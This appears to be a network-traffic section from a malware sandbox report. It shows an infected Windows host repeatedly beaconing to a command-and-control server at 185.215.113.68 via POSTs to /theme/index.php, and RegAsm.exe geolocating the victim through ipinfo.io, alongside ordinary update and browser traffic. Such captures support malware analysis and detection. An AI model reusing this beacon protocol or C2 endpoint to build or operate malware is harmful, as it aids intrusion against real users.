317	192.168.2.6	50563	185.215.113.68	80

Timestamp	Bytes transferred	Direction	Data
Jan 18, 2024 00:38:23.327105999 CET	311	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 39 38 34 42 34 45 46 41 38 42 37 43 39 37 39 39 31 34 33 34 41 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 34 32 44 37 38 42 34 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58984B4EFA8B7C97991434AB140BE1D46450FC9DDF642E3BDD70A7AB42D78B45E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jan 18, 2024 00:38:23.567518950 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:38:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
318	192.168.2.6	50564	185.215.113.68	80

Timestamp	Bytes transferred	Direction	Data
Jan 18, 2024 00:38:23.919447899 CET	153	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jan 18, 2024 00:38:24.153944969 CET	191	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:38:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 0d 0a 20 33 0d 0a 30 0d 0a 0d 0a Data Ascii: 2 30

Session ID	Source IP	Source Port	Destination IP	Destination Port
319	192.168.2.6	50565	185.215.113.68	80

Timestamp	Bytes transferred	Direction	Data
Jan 18, 2024 00:38:24.404347897 CET	311	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 39 38 34 42 34 45 46 41 38 42 37 43 39 37 39 39 31 34 33 34 41 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 34 32 44 37 38 42 34 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58984B4EFA8B7C97991434AB140BE1D46450FC9DDF642E3BDD70A7AB42D78B45E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jan 18, 2024 00:38:24.643465996 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:38:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
320	192.168.2.6	50566	185.215.113.68	80

Timestamp	Bytes transferred	Direction	Data
Jan 18, 2024 00:38:24.996247053 CET	153	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jan 18, 2024 00:38:25.229696035 CET	191	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:38:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 0d 0a 20 33 0d 0a 30 0d 0a 0d 0a Data Ascii: 2 30

Session ID	Source IP	Source Port	Destination IP	Destination Port
321	192.168.2.6	50567	185.215.113.68	80

Timestamp	Bytes transferred	Direction	Data
Jan 18, 2024 00:38:25.476533890 CET	311	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 39 38 34 42 34 45 46 41 38 42 37 43 39 37 39 39 31 34 33 34 41 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 34 32 44 37 38 42 34 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58984B4EFA8B7C97991434AB140BE1D46450FC9DDF642E3BDD70A7AB42D78B45E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jan 18, 2024 00:38:25.713274002 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:38:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
322	192.168.2.6	50568	185.215.113.68	80

Timestamp	Bytes transferred	Direction	Data
Jan 18, 2024 00:38:26.074815035 CET	153	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jan 18, 2024 00:38:26.306210041 CET	191	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:38:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 0d 0a 20 33 0d 0a 30 0d 0a 0d 0a Data Ascii: 2 30

Session ID	Source IP	Source Port	Destination IP	Destination Port
323	192.168.2.6	50569	185.215.113.68	80

Timestamp	Bytes transferred	Direction	Data
Jan 18, 2024 00:38:26.570478916 CET	311	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 39 38 34 42 34 45 46 41 38 42 37 43 39 37 39 39 31 34 33 34 41 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 34 32 44 37 38 42 34 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58984B4EFA8B7C97991434AB140BE1D46450FC9DDF642E3BDD70A7AB42D78B45E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jan 18, 2024 00:38:26.813515902 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:38:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
324	192.168.2.6	50572	185.215.113.68	80

Timestamp	Bytes transferred	Direction	Data
Jan 18, 2024 00:38:27.171974897 CET	153	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jan 18, 2024 00:38:27.403858900 CET	191	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:38:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 0d 0a 20 33 0d 0a 30 0d 0a 0d 0a Data Ascii: 2 30

Session ID	Source IP	Source Port	Destination IP	Destination Port
325	192.168.2.6	50573	185.215.113.68	80

Timestamp	Bytes transferred	Direction	Data
Jan 18, 2024 00:38:27.643523932 CET	311	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 39 38 34 42 34 45 46 41 38 42 37 43 39 37 39 39 31 34 33 34 41 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 34 32 44 37 38 42 34 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58984B4EFA8B7C97991434AB140BE1D46450FC9DDF642E3BDD70A7AB42D78B45E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jan 18, 2024 00:38:27.880379915 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:38:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
326	192.168.2.6	50574	185.215.113.68	80

Timestamp	Bytes transferred	Direction	Data
Jan 18, 2024 00:38:28.229932070 CET	153	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jan 18, 2024 00:38:28.462229013 CET	191	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:38:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 0d 0a 20 33 0d 0a 30 0d 0a 0d 0a Data Ascii: 2 30

Session ID	Source IP	Source Port	Destination IP	Destination Port
327	192.168.2.6	50575	185.215.113.68	80

Timestamp	Bytes transferred	Direction	Data
Jan 18, 2024 00:38:28.710947990 CET	311	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 39 38 34 42 34 45 46 41 38 42 37 43 39 37 39 39 31 34 33 34 41 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 34 32 44 37 38 42 34 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58984B4EFA8B7C97991434AB140BE1D46450FC9DDF642E3BDD70A7AB42D78B45E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jan 18, 2024 00:38:28.957658052 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:38:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
328	192.168.2.6	50576	185.215.113.68	80

Timestamp	Bytes transferred	Direction	Data
Jan 18, 2024 00:38:29.325052023 CET	153	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jan 18, 2024 00:38:29.562519073 CET	191	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:38:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 0d 0a 20 33 0d 0a 30 0d 0a 0d 0a Data Ascii: 2 30

Session ID	Source IP	Source Port	Destination IP	Destination Port
329	192.168.2.6	50577	185.215.113.68	80

Timestamp	Bytes transferred	Direction	Data
Jan 18, 2024 00:38:29.808259010 CET	311	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 39 38 34 42 34 45 46 41 38 42 37 43 39 37 39 39 31 34 33 34 41 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 34 32 44 37 38 42 34 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58984B4EFA8B7C97991434AB140BE1D46450FC9DDF642E3BDD70A7AB42D78B45E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jan 18, 2024 00:38:30.045388937 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:38:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
330	192.168.2.6	50578	185.215.113.68	80

Timestamp	Bytes transferred	Direction	Data
Jan 18, 2024 00:38:30.405992031 CET	153	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jan 18, 2024 00:38:30.642386913 CET	191	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:38:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 0d 0a 20 33 0d 0a 30 0d 0a 0d 0a Data Ascii: 2 30

Session ID	Source IP	Source Port	Destination IP	Destination Port
331	192.168.2.6	50579	185.215.113.68	80

Timestamp	Bytes transferred	Direction	Data
Jan 18, 2024 00:38:30.885302067 CET	311	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 39 38 34 42 34 45 46 41 38 42 37 43 39 37 39 39 31 34 33 34 41 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 34 32 44 37 38 42 34 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58984B4EFA8B7C97991434AB140BE1D46450FC9DDF642E3BDD70A7AB42D78B45E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jan 18, 2024 00:38:31.123078108 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:38:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
332	192.168.2.6	50580	185.215.113.68	80

Timestamp	Bytes transferred	Direction	Data
Jan 18, 2024 00:38:31.480758905 CET	153	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jan 18, 2024 00:38:31.718519926 CET	191	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:38:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 0d 0a 20 33 0d 0a 30 0d 0a 0d 0a Data Ascii: 2 30

Session ID	Source IP	Source Port	Destination IP	Destination Port
333	192.168.2.6	50581	185.215.113.68	80

Timestamp	Bytes transferred	Direction	Data
Jan 18, 2024 00:38:31.964030981 CET	311	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 39 38 34 42 34 45 46 41 38 42 37 43 39 37 39 39 31 34 33 34 41 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 34 32 44 37 38 42 34 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58984B4EFA8B7C97991434AB140BE1D46450FC9DDF642E3BDD70A7AB42D78B45E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jan 18, 2024 00:38:32.200313091 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:38:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49700	34.117.186.192	443	5868	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-17 23:34:15 UTC	239	OUT	GET /widget/demo/154.16.192.193 HTTP/1.1 Connection: Keep-Alive Referer: https://ipinfo.io/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: ipinfo.io
2024-01-17 23:34:15 UTC	513	IN	HTTP/1.1 200 OK server: nginx/1.24.0 date: Wed, 17 Jan 2024 23:34:15 GMT content-type: application/json; charset=utf-8 Content-Length: 994 access-control-allow-origin: * x-frame-options: SAMEORIGIN x-xss-protection: 1; mode=block x-content-type-options: nosniff referrer-policy: strict-origin-when-cross-origin x-envoy-upstream-service-time: 2 via: 1.1 google strict-transport-security: max-age=2592000; includeSubDomains Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-01-17 23:34:15 UTC	739	IN	Data Raw: 7b 0a 20 20 22 69 6e 70 75 74 22 3a 20 22 31 35 34 2e 31 36 2e 31 39 32 2e 31 39 33 22 2c 0a 20 20 22 64 61 74 61 22 3a 20 7b 0a 20 20 20 20 22 69 70 22 3a 20 22 31 35 34 2e 31 36 2e 31 39 32 2e 31 39 33 22 2c 0a 20 20 20 20 22 63 69 74 79 22 3a 20 22 4e 65 77 20 59 6f 72 6b 20 43 69 74 79 22 2c 0a 20 20 20 20 22 72 65 67 69 6f 6e 22 3a 20 22 4e 65 77 20 59 6f 72 6b 22 2c 0a 20 20 20 20 22 63 6f 75 6e 74 72 79 22 3a 20 22 55 53 22 2c 0a 20 20 20 20 22 6c 6f 63 22 3a 20 22 34 30 2e 37 31 34 33 2c 2d 37 34 2e 30 30 36 30 22 2c 0a 20 20 20 20 22 6f 72 67 22 3a 20 22 41 53 31 37 34 20 43 6f 67 65 6e 74 20 43 6f 6d 6d 75 6e 69 63 61 74 69 6f 6e 73 22 2c 0a 20 20 20 20 22 70 6f 73 74 61 6c 22 3a 20 22 31 30 30 30 31 22 2c 0a 20 20 20 20 22 74 69 6d 65 7a 6f 6e Data Ascii: { "input": "154.16.192.193", "data": { "ip": "154.16.192.193", "city": "New York City", "region": "New York", "country": "US", "loc": "40.7143,-74.0060", "org": "AS174 Cogent Communications", "postal": "10001", "timezon
2024-01-17 23:34:15 UTC	255	IN	Data Raw: 20 20 22 61 62 75 73 65 22 3a 20 7b 0a 20 20 20 20 20 20 22 61 64 64 72 65 73 73 22 3a 20 22 33 31 33 32 20 53 74 61 74 65 20 53 74 72 65 65 74 2c 20 44 61 6c 6c 61 73 2c 20 54 58 20 37 35 32 30 34 2d 33 35 30 30 2c 20 55 6e 69 74 65 64 20 53 74 61 74 65 73 22 2c 0a 20 20 20 20 20 20 22 63 6f 75 6e 74 72 79 22 3a 20 22 55 53 22 2c 0a 20 20 20 20 20 20 22 65 6d 61 69 6c 22 3a 20 22 61 62 75 73 65 40 69 70 78 6f 2e 63 6f 6d 22 2c 0a 20 20 20 20 20 20 22 6e 61 6d 65 22 3a 20 22 49 50 58 4f 20 49 6e 63 69 64 65 6e 74 20 52 65 73 70 6f 6e 73 65 20 54 65 61 6d 22 2c 0a 20 20 20 20 20 20 22 6e 65 74 77 6f 72 6b 22 3a 20 22 31 35 34 2e 31 36 2e 31 39 32 2e 30 2f 32 33 22 2c 0a 20 20 20 20 20 20 22 70 68 6f 6e 65 22 3a 20 22 22 0a 20 20 20 20 7d 0a 20 20 7d 0a 7d Data Ascii: "abuse": { "address": "3132 State Street, Dallas, TX 75204-3500, United States", "country": "US", "email": "abuse@ipxo.com", "name": "IPXO Incident Response Team", "network": "154.16.192.0/23", "phone": "" } }}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.6	49702	40.127.169.103	443

Timestamp	Bytes transferred	Direction	Data
2024-01-17 23:34:28 UTC	306	OUT	GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=P+KoVP9x6mYxasV&MD=CFat5hzV HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-01-17 23:34:29 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "XAopazV00XDWnJCwkmEWRv6JkbjRA9QSSZ2+e/3MzEk=_2880" MS-CorrelationId: 0856dc1d-435d-4838-8a1d-8cc4dad350b1 MS-RequestId: 5539fab1-ba42-44ee-8f8d-1c3ad95bb830 MS-CV: JXpp7+DGMUC7cQ9j.0 X-Microsoft-SLSClientCache: 2880 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Wed, 17 Jan 2024 23:34:28 GMT Connection: close Content-Length: 24490
2024-01-17 23:34:29 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 92 1e 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 23 d0 00 00 14 00 00 00 00 00 10 00 92 1e 00 00 18 41 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 e6 42 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 78 cf 8d 5c 26 1e e6 42 43 4b ed 5c 07 54 13 db d6 4e a3 f7 2e d5 d0 3b 4c 42 af 4a 57 10 e9 20 bd 77 21 94 80 88 08 24 2a 02 02 d2 55 10 a4 a8 88 97 22 8a 0a d2 11 04 95 ae d2 8b 20 28 0a 88 20 45 05 f4 9f 80 05 bd ed dd f7 ff 77 dd f7 bf 65 d6 4a 66 ce 99 33 67 4e d9 7b 7f fb db 7b 56 f4 4d 34 b4 21 e0 a7 03 0a d9 fc 68 6e 1d 20 70 28 14 02 85 20 20 ad 61 10 08 e3 66 0d ed 66 9b 1d 6a 90 af 1f 17 f0 4b 68 35 01 83 6c fb 44 42 5c 7d 83 3d 03 30 be 3e ae be 58 Data Ascii: MSCFD#AdBenvironment.cabx\&BCK\TN.;LBJW w!$*U" ( EweJf3gN{{VM4!hn p( affjKh5lDB\}=0>X
2024-01-17 23:34:29 UTC	8666	IN	Data Raw: 04 01 31 2f 30 2d 30 0a 02 05 00 e1 2b 8a 50 02 01 00 30 0a 02 01 00 02 02 12 fe 02 01 ff 30 07 02 01 00 02 02 11 e6 30 0a 02 05 00 e1 2c db d0 02 01 00 30 36 06 0a 2b 06 01 04 01 84 59 0a 04 02 31 28 30 26 30 0c 06 0a 2b 06 01 04 01 84 59 0a 03 02 a0 0a 30 08 02 01 00 02 03 07 a1 20 a1 0a 30 08 02 01 00 02 03 01 86 a0 30 0d 06 09 2a 86 48 86 f7 0d 01 01 05 05 00 03 81 81 00 0c d9 08 df 48 94 57 65 3e ad e7 f2 17 9c 1f ca 3d 4d 6c cd 51 e1 ed 9c 17 a5 52 35 0f fd de 4b bd 22 92 c5 69 e5 d7 9f 29 23 72 40 7a ca 55 9d 8d 11 ad d5 54 00 bb 53 b4 87 7b 72 84 da 2d f6 e3 2c 4f 7e ba 1a 58 88 6e d6 b9 6d 16 ae 85 5b b5 c2 81 a8 e0 ee 0a 9c 60 51 3a 7b e4 61 f8 c3 e4 38 bd 7d 28 17 d6 79 f0 c8 58 c6 ef 1f f7 88 65 b1 ea 0a c0 df f7 ee 5c 23 c2 27 fd 98 63 08 31 Data Ascii: 1/0-0+P000,06+Y1(0&0+Y0 00*HHWe>=MlQR5K"i)#r@zUTS{r-,O~Xnm[`Q:{a8}(yXe\#'c1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.6	49712	172.253.62.84	443	3488	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-17 23:34:34 UTC	1180	OUT	GET / HTTP/1.1 Host: accounts.google.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 X-Chrome-ID-Consistency-Request: version=1,client_id=77185425430.apps.googleusercontent.com,device_id=ce97e620-e5c8-47da-b1c2-66080ca9ba90,signin_mode=all_accounts,signout_mode=show_confirmation X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIk6HLAQj6mM0BCIWgzQEI3L3NAQiPys0BCLnKzQEI6dLNAQjo1c0BCMvWzQEIqNjNAQj5wNQVGLrSzQEY642lFw== Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: 